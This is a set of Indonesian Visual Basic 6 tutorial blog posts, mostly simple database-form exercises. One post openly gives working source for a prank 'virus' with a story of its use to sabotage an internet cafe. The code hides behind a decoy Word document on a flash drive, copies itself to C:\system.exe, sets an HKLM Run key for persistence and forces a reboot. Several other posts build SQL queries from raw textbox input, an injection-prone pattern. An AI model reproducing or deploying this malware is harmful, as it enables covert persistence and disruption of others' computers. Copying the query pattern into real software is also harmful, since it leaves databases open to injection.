Pages

Subscribe:

Ads 468x60px

Labels

Featured Posts

Senin, 19 September 2011

Program Sederhana untuk VB

Pemrograman Sederhana Visual Basic

Tutorial VB ini membahasa pembuatan program vb sederhana menggunakan adodc database.



Sedikit bingung juga sih maksudnya ini program, karena diciptakan seala kadarnya saja..hehehehe
Perogram ini dibuat karena ada tugas dari dosen lab yang nyuruhnya ada2 aja...haaaahhhh

Penjelasan tentang program ini

Program ini dibuat dengan visual basic. Koneksikan adodc ke dalam sebuah combobox yang akan otomatis menampilkan isi database didalamnya, sehingga memudahkan kita dalam bekerja.
Tidak perlu berlama-lama, bagi kalian yang membutuhkannya silahkan copy code dibawah ini:

Option Explicit

Private Sub Command1_Click()
End
End Sub

Private Sub Command2_Click()
Adodc2.Recordset.AddNew
Adodc2.Recordset!no_invo = no_invo.Text
Adodc2.Recordset!tgl = DTPicker1.Value
Adodc2.Recordset!kode_barang = kode_barang.Text
Adodc2.Recordset!kode_customer = okay.Text
Adodc2.Recordset!jumlah_beli = jumlah.Text
Adodc2.Recordset!total = total.Text
Adodc2.Recordset.Update
bersih
mati
Command3.Enabled = True
End Sub

Private Sub Command3_Click()
aktif
oto
Command3.Enabled = False
Command2.Enabled = True
End Sub

Sub bersih()
Dim bersih1, bersih2 As Control
For Each bersih1 In Me.Controls
For Each bersih2 In Me.Controls
If TypeOf bersih1 Is TextBox Then bersih1.Text = ""
If TypeOf bersih2 Is ComboBox Then bersih2.Text = ""
Next
Next
End Sub

Sub mati()
Dim mati1, mati2, mati3 As Control
For Each mati1 In Me.Controls
For Each mati2 In Me.Controls
For Each mati3 In Me.Controls
If TypeOf mati1 Is TextBox Then mati1.Enabled = False
If TypeOf mati2 Is ComboBox Then mati2.Enabled = False
If TypeOf mati3 Is CommandButton Then mati3.Enabled = False
Next
Next
Next
End Sub

Sub aktif()
Dim aktif1, aktif2 As Control
For Each aktif1 In Me.Controls
For Each aktif2 In Me.Controls
If TypeOf aktif1 Is TextBox Then aktif1.Enabled = True
If TypeOf aktif2 Is ComboBox Then aktif2.Enabled = True
Next
Next
End Sub

Sub oto()
Dim nomor, otomatis As String
If Adodc2.Recordset.RecordCount = 0 Then
otomatis = "B-001"
Else
Adodc2.Recordset.MoveLast
nomor = Right(Adodc2.Recordset!no_invo, 3) + 1
otomatis = "B-" & Right("000" & nomor, 3)
End If
no_invo.Text = otomatis
End Sub

Private Sub Form_Load()
kode_brg
kode_cus
mati
Command3.Enabled = True
End Sub

Sub kode_brg()
If Adodc1.Recordset.RecordCount > 0 Then
Adodc1.Recordset.MoveFirst
While Not Adodc1.Recordset.EOF
kode_barang.AddItem Adodc1.Recordset!kode_barang
Adodc1.Recordset.MoveNext
Wend
End If
End Sub

Sub kode_cus()
If Adodc3.Recordset.RecordCount > 0 Then
Adodc3.Recordset.MoveFirst
While Not Adodc3.Recordset.EOF
okay.AddItem Adodc3.Recordset!kode_customer
Adodc3.Recordset.MoveNext
Wend
End If
End Sub

Private Sub jumlah_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
total.Text = Val(harga.Text) * Val(jumlah.Text)
End If
End Sub

Private Sub kode_barang_change()
Adodc1.RecordSource = "select * from barang where kode_barang='" & kode_barang.Text & "'"
With Adodc1.Recordset
Adodc1.Recordset!nama_barang = nama_brg.Text
harga.Text = Adodc1.Recordset!harga_jual
End With
End Sub

Private Sub okay_change()
Adodc3.RecordSource = "select * from customer where kode_customer='" & okay.Text & "'"
Adodc3.Recordset!nama_customer = nama_cus.Text
nama_cus.Text = Adodc3.Recordset!nama_customer
End Sub



 Kalau kalian suka dengan artikel ini, like dengan FB. Jika kalian masih kurang mengerti, silahkan bertanya dicomment postingan ini. Program ini dibuat dengan Visual Basic
Semoga bermanfaat

Membuat Virus Visual Basic

Tutorial VB membuat Virus sederhana dengan bahasa pemrograman Visual Basic. Tugas sederhana namun cocok untuk pembelajaran bagi kalian.



Kangen rasanya sudah lama tidak mengpost di blogs. ^,..,^. Sebenernya ini adalah program buatan teman saya, dia juga seorang programers sama seperti saya. Ini adalah hasil karya beliau, jadi saya post saja, mungkin lebih berguna buat kalian. Sebenarnya ini program dia buat ngerjain warnet didepan warnet yang dia jaga, buat orang awam memang sedikit "ihh weew", soalnya program ini ga kena ma anti virus, tapi bagi saya mah, "program apaan niih?hehhehe"

Sistem kerja program ini sama halnya seperti program virus yang biasa kita jumpai. Menyerang bagian registrasi dan melumpuhkan sistem komputer target. Akan tetapi setelah saya lihat bentuk source code program tersebut, dengan menggunakan koneksi antar form, dan penyerangan kedalam registry editor.
Pengaktifan program ini tergolong unik, karena tidak otomatis running ketika dicolokan Flasdisk, melainkan user secara aktif mengkliknya.

Jadi begini pengaktifannya. Dia datang kesebuah warnet tujuannya, untuk mencoba n membuat kesal OP tersebut. Dia berpura2 ingin melakukan print MS word yang sudah dia siapkan didalam flash disk na. Didalam Flash disk dia terdapat 2 MS word berbeda nama sesuai dengan direktorynya dan compille program VB virus ini. Setelah dia memberikan FD na, dia harus memastikan bahwa FD dia berada pada direktory apa, entah ada di "G" atau "F", yang pasti FD direktori tidak akan jauh2 pada hal tersebut. Dia akan memilih sebuah Word sesuai dengan direktorinya. Setelah program MS word aktif, maka si virus secara aktif juga masuk dengan pengaktifan program Word yang telah dieksekusi. Setelah selesai dengan Print2 dummy tersebut, dia melepaskan FD yang menandakan delay waktu aktif virus dimulai. Seusai pergi, Virus aktif, restart, PC crash, dan tampil gambar dia.

sekian curhatnya...heleuhh panjang banget....

Berikut ini listing code dan cara pembuatannya hinga sampai kalian membuatnya secara utuh, dan mohon maaf saya tidak akan mengshre berupa downloadannya, takut disalah gunakan soalnya ^,..,^

1. Buatlah sebuah Progress bar didalam 1 form baru, bernama "antivirus". Didalam form ini kalian sisipkan 1 buah progress bar, untuk memberikan delay waktu pengaktifan program tersebut dan juga 1 buah timer. Tujuan ini dimaksudkan untuk kalian melakukan pengkebalan terhadap program yang telah kalian buat sendiri. Malu donk buat virus tapi tidak bisa mengatasinya ^<_^ - Masukan listing code ini pada timer yang telah kita buat pada form antivirus.


Private Sub Timer1_Timer()
If ProgressBar1.Value = 100 Then
Unload Me
MsgBox "T-Virus was Removed, your system will be reboot", vbInformation, "Congrat"
Shell ("shutdown.exe -r -t 01")

Else

ProgressBar1.Value = Val(ProgressBar1.Value) + Val(1)

End If
End Sub


Adapun maksud dari listing ini adalah ketika si progress bar berjalan hingga bernilai "100", maka form tidak akan tampil, sehingga menampilkan pesan seperti ini "T-Virus was Removed, your system will be reboot" yang menandakan program sudah aktif dan secara otomatis dengan menggunakan "Shell" untuk memanggil program bawaan windows yaitu "Shutdown.exe" yang penggunaan program tersebut dilakukan apabila sistem windows sedang mengalami crash atau hang pada pc, akan tetapi kali ini sistem tersebut saya gunakan sebagi bentuk restaran dengan tenggat waktu 1 detik.

- Masukan listing code ini pada Form_load()



Private Sub Form_Load()

Kill "C:\system.exe"


Dim x As Double
x = Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus)


BlockInput False
End Sub


Adapun maksud diatas adalah melakukan pendeletan langsung, atau saya sering katakan adalah serangan langsung terhadap program kita yang nantinya akan bertengger di direktory "C:" dengan nama program kita adalah nantinya "System.exe".
Setelahnya program kita akan secara otomatis masuk kedalam regedit (registry editor) yang mana akan menambakan value pada "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", vbNormalFocus". Maksud dari "d 0" adalah value penonaktifan pada "DisableTaskMgr".
Dan "BlockInput False" untuk pengaktifan keyboard kita.

- Masukan ini terlebih dahulu di bagian atas listing program tadi.



Option Explicit

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long



Selesailah kita membuat anti Virus atas program kita nantinya.


Sekarang kita akan berlanjut kepada pembuatan program utama kita, masih minat?okay lanjutkan.

Sebernya kita sudah membuat virus itu sendiri tanpa kalian sadari, Berdasarkan anti virus yang telah kalian buat, itulah program virus sederhana nya.

Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "F":

- Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load


Private Sub Form_Load()


Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("F:\T-V\Makalah.doc")
wrd.Activate


Dim mByte() As Byte
Open "F:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub



Maksud diatas adalah seperti yang sudah saya ceritakan, program ini berjalan setelah ms word aktif dimana word yang telah dibuka pada direktory "F:\T-V\Makalah.doc". Program akan secara aktif mengcopy kedalam dir "C:" yang akan membuat secara paksa file bernama "System.exe". Melakukan pengaktifan setelah dia restart dan menyusupkan key pada Regedit untuk auto run start up "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"

Berikut ini contoh form yang akan kita buat misalkan FD (Flash Disk) kita pada direktory "G":

- Buatlah sebuah form kosong, dan masukan listing code ini didalam Form_load


Private Sub Form_Load()

Set wrd1 = CreateObject("Word.Application")
Set wrd = GetObject(, "Word.Application")
wrd.Visible = True
wrd.Documents.Open ("G:\T-V\Makalah.doc")
wrd.Activate

Dim mByte() As Byte
Open "G:\T-V\system.exe" For Binary As #1
Open "C:\system.exe" For Binary As #2
ReDim mByte(0 To LOF(1))
Get #1, , mByte()
Put #2, , mByte()
Close #1
Close #2


Dim Startup
Set Startup = CreateObject("WScript.Shell")
Startup.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\T-Virus", "C:\system.exe"
End Sub


Untuk penjelasannya, sama seperti halnya diatas.

Jika link Membuat Virus Visual Basic berguna untuk kalian atau kalian suka dengan postingan ini, berikan komentar dibawah postingan ini sertakan dengan share di facebook kalian dengan men-like nya yooo. Jangan lupa untuk menshare ilmu kalian ya, karena ilmu yang bermanfaat akan menambah pahala buat kalian sendiri.

Sekian dari saya, terima kasih atas kunjungannya ^<_,^

open explorer with VB

Membuka Explorer dengan VB

Tutorial VB ini akan mempraktekan membuka menu explore dengan microsoft visual basic 6.0




Cara yang sangat sederhana untuk pemrograman vb. Hanya menggunakan beberapa kalimat baris code, maka bisa membuka menu explorer. Seperti short cut untuk windows, yang dapat memudahkan kita dalam mengaksesnya.

Tools yang kamu butuhkan dalam mempraktekannya didalam visual basic hanya membutuhkan Command Button didalam form

Lalu Inputkan kode dibawah ini pada source code command button tersebut


Private Sub mnunotepad_Click()
On Error GoTo errcode
Dim a As Double
a = Shell("C:\WINDOWS\explorer.exe", vbNormalFocus)
Exit Sub
errcode:
MsgBox "Explorer tidak bisa dibuka dikomputer mu", vbError, "Explorer Error!"
Resume Next
End Sub


langkah selanjutnya tinggal melakukan run pada program vb tersebut.
Selamat kamu telah berhasil ^,..,^

Penomoran otomatis menggunakan tanggal

Penomoran otomatis menggunakan tanggalVB

Tutorial Visual Basic dalam membuat kode otomatis untuk meringankan pekerjaan programers dalam penamaan identitas berdasarkan tahun, tanggal dan bulan



Sebenernya ini baru saja saya dapatkan dari lab, sedikit senggol-senggol teman, ngerti juga.
telad banget baru nyadar..heheheh

okay to the point ajah. Disini yang kalian butuhkan adalah sebuah datapicker sebagai data yang akan dipilah untuk diambil value-nya. Dalam penggunaanya, saya akan melakukan penyimpanan sekaligus pencarian data pada database yang terkoneksikan dengan adodc

Lihat listing dibawah ini:

Sub otomatis()
Dim tanggal, tahun, bulan, no, oto As String
tanggal = Left(DTPicker1.Value, 2)
bulan = Mid(DTPicker1.Value, 4, 2)
tahun = Right(DTPicker1.Value, 2)

sementara.RecordSource = "select * from table sementara where no_pinjam"
If adodc1.Recordset.RecordCount = 0 Then
oto = tahun & bulan & tanggal & "001"
Else
adodc1.Recordset.MoveLast
no = Right(adodc1.Recordset!kode_buku, 3) + 1
oto = tahun & bulan & tanggal & Right("00" & no, 3)
End If
text1.Text = oto
End Sub

1. Arti dari "Dim tanggal, tahun, bulan, no, oto As String" adalah pembuatan variable yang diolah menjadi string
2. Arti dari "tanggal = Left(DTPicker1.Value, 2)" adalah datapicker diambil dari kiri yang akan menuju kekanan, dimana data diambil hanya berjarak 2 saja
3. Arti dari "bulan = Mid(DTPicker1.Value, 4, 2)" adalah datapicker diambil dari kiri setelah pemotongan 4 karakter, yang hasilnya mendapatkan data pada tengah. Ini pada format waktu dikomputer yooo
4. Arti dari "oto = tahun & bulan & tanggal & "001" adalah penggabungan variable yang telah dibuat untuk kemudian disatukan menjadi data waktu yang diinginkan formatnya (20010626), seperti itulah

saya rasa selebihnya tinggal kalian analisa sendiri, kalau masih ada kurang mengerti moonggoo ditanyakan saja

State dengan VB

Membuat State dengan VB

Tutorial VB saya kali ini membahas bagaimana caranya membuat daftar wilayah dengan VB menggunakan combobox. Wilayah disini dimaksudkan bukan berdasarkan tentang daerah sekitar kita, melainkan berupa wilayah bagian negara. Seberapa penting sih membuat form visual basic ini?. Seperti halnya kita ingin membuat sebuah program aplikasi tentang penjualan dengan geo target negara, sudah selayaknya menyediakan negara asal si pemesan berasal. Code ini penting sekali buat menunjang kompleksitas dari struktur program kita.

Dari mana Data wilayah tersebut didapatkan?
Contoh yang saya ambil menggunakan Operating System Windows.
Pernah instal ulang windows?jangan tanyakan versi dan sp-nya ke saya, karena windows modern saat ini sama saja tujuannya.
Pernah lihat ada pilihan kita harus menset jam didalam komputer kita beserta negara kita berasal?. Kalau belum pernah menginstall ulang komputer, saya saranin coba dahulu saja, biar kedepannya kamu menjadi familiar dengan kata-kata barusan.
lanjut....
Data tersebut didapatkan asli murni dari OS yang kita install barusan. Intinya...Kita akan belajar bagaimana mendapatkan informasi dari dalam Windows dan menampilkannya di program utama kita.


Desain State dengan VB
Isi Visual Basic:
- form1.frm
- Module1

Syarat komponen yang dibutuhkan:
- Combo box
- Image (buat banner www.tutorial-vb.com)

Syarat komponen tambahan:

- Tidak ada


Membuat State dengan VB

- Kenapa hanya ada combo box saja didalam form? kan disini saya hanya akan mengajarkan kepada kamu, sebagian desain menggunakan komponen tersebut. Untuk pengembangannya, kamu bisa melakukannya sendiri.


- Isikan Code ini pada form_load. Terdapat penjelasan juga.


'Kenapa ditaruh di form_load?kenapa tidak ditaruh pada combo1 saja?
'karena diprogram ini kita akan belajar seni melompat pada variabel. Melompat maksudnya Looping

Private Sub Form_Load()

MsgBox "Kunjungi saya di www.tutorial-vb.com", vbOKOnly, " ^,..,^"


Dim intStateFileNbr As Integer
Dim strBS As String
Dim strStateAbbrev As String
Dim strStateName As String

strBS = IIf(Right$(App.Path, 1) = "\", "", "\")
intStateFileNbr = FreeFile
'Kode dibawah ini adalah untuk mencari file yang berupa STATES.DAT
'Karena keberhasilan program utama kita ini terletak pada file bawaan windows tersebut
Open (App.Path & strBS & "STATES.DAT") For Input As #intStateFileNbr
'Setelah didapatkan file tersebut, maka program kita akan melakukan pemanggilan menggunakan bahasa visual basic
'Yang berupa singkatan nama wilayah, dan nama wilayahnya
Do Until EOF(intStateFileNbr)
Input #intStateFileNbr, strStateAbbrev, strStateName
'Dibawah ini contohnya adalah AK-ALASKA

'memberikan kesan ada pembatas pada variabel file tersebut berupa garis minus (-)
Combo1.AddItem strStateAbbrev & " - " & strStateName
Loop

Close #intStateFileNbr

Combo1.ListIndex = 0

SetDropDownWidth Combo1

End Sub


- Isikan Code ini pada module1. terdapat penjelasan juga.

'Karena kita akan melakukan pemanggilan dalam komputer kita, maka file yang diperlukan adalah user32
'Yang diterbitkan dengan sendmessageA
'Kenapa harus menggunakan Const? karena bilangan didalam PC harus menggunakan nilai konstanta

Option Explicit

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Const CB_SETDROPPEDWIDTH As Long = &H160
'ini adalah pemanggilan sub pada type file diatas
'-----------------------------------------------------------------------------

Public Sub SetDropDownWidth(mCombo As ComboBox)
'-----------------------------------------------------------------------------

Dim RetVal As Long
Dim PixelWidth As Long
Dim MaxWidth As Long
Dim LoopCounter As Long
Dim lWidth As Long

For LoopCounter = 0 To mCombo.ListCount - 1
lWidth = mCombo.Parent.TextWidth(mCombo.List(LoopCounter))
If lWidth > MaxWidth Then
MaxWidth = lWidth
End If
'Ini sebagian rumus yang akan kamu masukan didalam module agar program tersebut stabil

Next LoopCounter
MaxWidth = MaxWidth + (23 * Screen.TwipsPerPixelX)
If MaxWidth > (mCombo.Width * 2) Then
MaxWidth = (mCombo.Width * 2)
ElseIf MaxWidth < mCombo.Width Then
MaxWidth = mCombo.Width
End If

PixelWidth = (MaxWidth \ Screen.TwipsPerPixelX)
RetVal = SendMessage(mCombo.hwnd, CB_SETDROPPEDWIDTH, PixelWidth, 0)

End Sub




Untuk penjelasan tentang program Membuat State dengan VB, saya rasa cukup.
Kamu ingin mencoba program tersebut?
Kamu ingin copas kode tersebut di vb?

saya sudah menyediakan wadah buat kamu. Kamu bisa melakukan copas kode tersebut langsung dari web secara utuh tanpa terputus-putus seperti di atas & mendownload program itu secara utuh agar bisa digunakan di PC mode offline.
kamu bisa melihat kode dan mendapatkan sample membuat state dengan vb dengan mengklik Source Code Membuat State dengan VB
 Kalau kalian suka dengan artikel ini, like dengan FB. Jika kalian masih kurang mengerti, silahkan bertanya dicomment postingan ini. Program ini dibuat dengan Visual Basic di http://genostix.blogspot.com

Program Surat Keluar VB

Tutorial Visual Basic ini adalah contoh program yang saya buat untuk proses PNS pada Pengadilan Agama Cibinong. Surat Keluar diberikan oleh Kaur Kepegawaian.

haii....sudah lama ga berjumpa pada postingan. Kangen banget pengen posting sesuatu, dan alhamdulilah saya akhirnya bisa melakukannya. Tetapi kali ini saya tidak berada di warnet, melainkan dikomputer milik pejabat setempat. hahahaiii curi-curi kesempatan.
Dari pada saya tidur, gara-gara tidak ada kerjaan, yah lebih baik memposting saja
Mengapa saya memakai picture seperti diatas? karena saya saat ini sedang melakukan magang di Instansi tersebut.

Okay to the point saja. Ini adalah program yang saya bilang sederhana dalam pengoprasiannya. Mengapa?
Listing code nya mudah diterapkan, dengan pengkoneksian adodb dan adodc, yang hasilnya akan dicetak pada data environment. Tadinya saya ingin mendesain pada form, hanya saja keliatan berantakan.

Nih download programnya bisa kalian ambil di link Free Download program from indowebster.com Date upload: 25-Jul-2011 Size: 10.71 MB

Tugas Program VB

Tutorial Visual Basic ini adalah contoh dari tugas pemrograman yang diberikan dari lab saya. Pengkoneksian database dengan datacombo.



Tugas lagi, tugas lagi... untuk melatih skill pemrograman ga boleh kenal lelah. yah meski harus bertapa didalam lab menghabiskan 3 putaran waktu kelompok, tapi tetap saja semangat!!!

Selesai juga akhirnya, ya meski nanti si dosen bakalan bilang program apaan nih? maksud dan tujuannya adalah sama yang ditentukan oleh si mpunya hajat (dosen)

Pelajari listing code saya, karena sebelumnya sudah beberapa postingan yang saya bahas mengenai beberapa code dibawah ini. Silahkan dicopas untuk diprint out:

Option Explicit

Sub otomatis()
Dim tanggal, tahun, bulan, no, oto As String
tanggal = Left(DTPicker1.Value, 2)
bulan = Mid(DTPicker1.Value, 4, 2)
tahun = Right(DTPicker1.Value, 2)

sementara.RecordSource = "select * from table sementara where no_pinjam"
If sementara.Recordset.RecordCount = 0 Then
oto = tahun & bulan & tanggal & "001"
Else
sementara.Recordset.MoveLast
no = Right(sementara.Recordset!kode_buku, 3) + 1
oto = tahun & bulan & tanggal & Right("00" & no, 3)
End If
nop.Text = oto
End Sub

Sub bersih()
Dim x As Control
For Each x In Me.Controls
If TypeOf x Is TextBox Then x.Text = ""
If TypeOf x Is ComboBox Then x.Text = ""
Next
End Sub
Sub mati()
Dim x As Control
For Each x In Me.Controls
If TypeOf x Is TextBox Then x.Enabled = False
If TypeOf x Is ComboBox Then x.Enabled = False
Next
End Sub

Sub hidup()
Dim x As Control
For Each x In Me.Controls
If TypeOf x Is TextBox Then x.Enabled = True
If TypeOf x Is ComboBox Then x.Enabled = True
Next
End Sub
Sub tampil()
On Error Resume Next
sementara.RecordSource = "select *from sementara"
nop.Text = sementara.Recordset!no_pinjam
kode_anggota.Text = sementara.Recordset!kode_anggota
DTPicker1.Value = sementara.Recordset!tgl_pinjam
DTPicker2.Value = sementara.Recordset!tgl_kembali
kode_buku.Text = sementara.Recordset!kode_buku
nopa.Text = sementara.Recordset!no_pangil
judul.Text = sementara.Recordset!judul_buku
End Sub

Private Sub baru_Click()
hidup
otomatis
End Sub

Private Sub batalkan_Click()
bersih
End Sub

Private Sub DataGrid1_Click()
tampil
End Sub

Private Sub delete_Click()
sementara.Recordset.delete
End Sub

Private Sub Form_Load()
otomatis
mati
bersih

End Sub

Private Sub kode_anggota_Click(Area As Integer)
anggota.RecordSource = "select * from anggota where kode_anggota='" & kode_anggota.Text & "'"
anggota.Refresh
If anggota.Recordset.RecordCount = 0 Then
MsgBox "data tidak ditemukan"
Else
nama.Text = anggota.Recordset!nama_anggota
End If
anggota.RecordSource = "select * from anggota"
anggota.Refresh
End Sub

Private Sub kode_buku_Click(Area As Integer)
buku.RecordSource = "select * from buku where kode_buku= '" & kode_buku.Text & "'"
buku.Refresh
If buku.Recordset.RecordCount = 0 Then
MsgBox "data tidak ditemukan"
Else
nopa.Text = buku.Recordset!nomor_panggil
judul.Text = buku.Recordset!judul_buku
End If
buku.RecordSource = "select * from buku"
buku.Refresh

End Sub

Private Sub masukan_Click()
sementara.RecordSource = "select * from sementara"
sementara.Refresh
sementara.Recordset.AddNew
sementara.Recordset!no_pinjam = nop.Text
sementara.Recordset!kode_buku = kode_buku.Text
sementara.Recordset!tgl_pinjam = DTPicker1.Value
sementara.Recordset!tgl_kembali = DTPicker2.Value
sementara.Recordset!kode_anggota = kode_anggota.Text
sementara.Recordset!nama_anggota = nama.Text
sementara.Recordset!judul_buku = judul.Text
sementara.Recordset!no_pangil = nopa.Text
sementara.Recordset.Update
End Sub


Private Sub simpan_Click()
detail.RecordSource = "select * from detail_pinjam"
detail.Refresh
detail.Recordset.AddNew
detail.Recordset!no_pinjam = sementara.Recordset!no_pinjam
detail.Recordset!kode_buku = sementara.Recordset!kode_buku
detail.Recordset!tgl_pinjam = sementara.Recordset!tgl_pinjam
detail.Recordset!tgl_kembali = sementara.Recordset!tgl_kembali
detail.Recordset.Update

pinjam.RecordSource = "select * from pinjam"
pinjam.Refresh
pinjam.Recordset.AddNew
pinjam.Recordset!no_pinjam = sementara.Recordset!no_pinjam
pinjam.Recordset!kode_anggota = sementara.Recordset!kode_anggota
pinjam.Recordset!tanggal = sementara.Recordset!tgl_pinjam

pinjam.Recordset.Update

sementara.Recordset.delete
sementara.Recordset.MoveNext

bersih
mati
End Sub


Bagi kalian yang ingin mempelajarinya, saya membuat file download yang bisa kalian pelajari langsung dirumah. Untuk program diatas bernama perpus dengan nama form sementara. silahkan Download 18095534 from Indowebster.com

Create E-book with vb

Membuat Ebook dengan Visual Basic

Tutorial VB saya kali ini akan membuat program ebook sederhana. Cara kerjanya sama seperti sebuat notepad pada windows, melakukan editan dan penyimpanan biasa. Lalu apa kelebihannya? yah bisa dibilang ga perlu banyak folder name atau file-file hasil simpanan kita didalam hard disk. Simplenya sih hanya sebagai wadah saja.
Kekurangannya apa saja?. Layaknya sebuah notepad pada windows, tidak semua karakter didalamnya bisa kita input maksimal. Ada beberapa karakter yang tidak bisa dibaca oleh program ini, begitupun program notepad itu sendiri.
Simplenya sih begini saja deh, ini program diciptakan untuk memudahkan kalian pecinta koleksi ebook untuk menyusun agar tidak berceceran. Adapun program ini lebih extra simple lagi cara pembuatannya. Baiklah, sebelum saya menjelaskan cara pembuatannya, saya mau memberitahukan bahwa program diatas menggunakan banner webs saya terdahulu yang sudah males dimainin lagi. ^,..,^


Cara Membuat Ebook dengan VB

Syarat komponen yang dibutuhkan
- TextBox = 3
- Data = 1
- CommandButton = 4
- Image = 1 (Banner image web saya)

Syarat komponen tambahan
- Tidak ada


Berikut ini cara membuat susunan pada formnya:

1. Kamu akan membuat textbox1 untuk "Jenis Ebook". Setelah menaruh diformnya klik properties = >Categorized => Multi line....pilih true. dan berikutny pilih scrollbars => klik horizontal

2. Kamu akan membuat textbox2 untuk "Model Ebook". Setelah menaruh diformnya klik properties = >Categorized => Multi line....pilih true. dan berikutny pilih scrollbars => klik vertikal

3. Kamu akan membuat data1. sebelumnya buat database terlebih dahulu di "Add-ins => Visual Data Manager", Saya harap kamu sudah mempelajari cara pembuatan database VB. Setelah selesai pilih "DataBaseName" sesuai direktori file database berawal. "Recordset" sesuai label utama.

4. Kamu akan membuat commandbutton yang berCaption "EDIT". Masukan listing code ini

Private Sub Command2_Click()
On Error Resume Next
Data1.Recordset.Edit
Data1.Recordset!jenis = Text2.Text
Data1.Recordset!model = Text3.Text
Data1.Recordset!isina = Text1.Text
Data1.Refresh
End Sub
5. Kamu akan membuat commandbutton yang berCaption "TAMBAH". Masukan listing code ini

Private Sub Command1_Click()
On Error Resume Next
Data1.Recordset.AddNew
Data1.Recordset!jenis = Text2.Text
Data1.Recordset!model = Text3.Text
Data1.Recordset!isina = Text1.Text

End Sub
6. Kamu akan membuat commandbutton yang berCaption "DELETE". Masukan listing code ini

Private Sub Command4_Click()

On Error Resume Next
Data1.Recordset.Delete
Data1.Recordset!jenis = Text2.Text
Data1.Recordset!model = Text3.Text
Data1.Recordset!isina = Text1.Text
Data1.Refresh
End Sub
7. Kamu tidak harus membuat commandbutton berCaption "Home", karena itu saya buat berdasarkan data form terkoneksi biasa. Terserah kalo kalian mau buat atau tidak. Kalau mau buat, ini listing codenya

Private Sub Command3_Click()
Form2.Show
Unload Me
End Sub
Sedikit penjelasan saja, pada form2.show itu hanya akan melakukan koneksi ke form yang bernama "form2"

8. Kamu akan membuat textbox3 untuk "Isi Ebook". Setelah menaruh diformnya klik properties = >Categorized => Multi line....pilih true. dan berikutny pilih scrollbars =>both


Dari kesemua commandbutton, inti dari pembuatan programnya adalah melakukan koneksi data ke commandbutton masing-masing. Disemua Commandbutton => DataField & DataSource (Input sesuai database yang dibuat pada data1)


Selesai deh.
Masih bingung?yoowis saya sudah menyiapkan versi downloadnya, silahkan kamu download programnya di

http://indowebster.com/ebookvb.html


 Kalau kalian suka dengan artikel ini, like dengan FB. Jika kalian masih kurang mengerti, silahkan bertanya dicomment postingan ini. Program ini dibuat dengan Visual Basic di http://genostix.blogspot.com

Koneksi datacombo dalam textbox

Tutorial Vb tentang pengkoneksian database oleh datacombo yang menghasilkan sebuah tautan yang bersamaan.



Bingung dengan kata-kata diatas? tau saya juga ga ngerti ngomong kaya begitu. Yang jelas sih ini adalah hasil persamaan database agar hasil pada datacombo sesuai dengan kriteria yang diinginkan.

Pada Postingan ini yang kalian butuhkan adalah adodc, datacombo, serta text box.

Untuk penjelasannya, silahkan lihat listing dibawah ini

Private Sub datacombo_Click(Area As Integer)
adodc1.RecordSource = "select * from table where field_kamu='" & datacombo.Text & "'"
adodc1.Refresh
If anggota.Recordset.RecordCount = 0 Then
MsgBox "data tidak ditemukan"
Else
text1.Text = adodc1.Recordset!field_kamu
End If
anggota.RecordSource = "select * from table"
adodc1.Refresh
End Sub

Perhatian!!! kode ini dimasukan pada datacombo, jangan sampai salah ya. Sepertinya sudah sangat jelas listing code yang saya tuliskan diatas. Apabila ada yang kurang mengerti, silahkan tanyakan